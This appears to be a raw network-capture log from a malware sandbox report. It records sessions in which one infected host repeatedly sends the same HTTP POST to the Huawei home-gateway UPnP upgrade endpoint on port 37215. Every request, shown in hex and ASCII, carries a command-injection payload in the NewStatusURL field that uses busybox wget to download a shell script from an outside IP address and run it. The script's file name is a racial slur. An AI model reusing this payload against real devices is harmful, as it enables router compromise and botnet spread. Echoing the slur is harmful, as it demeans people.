Feb 19, 2024 18:36:31.755752087 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:56.840384960 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.23	37062	31.136.137.206	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:09.561420918 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:12.814403057 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:18.957562923 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:30.987873077 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:56.840476990 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.23	33890	31.136.168.245	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:09.561539888 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:12.814410925 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
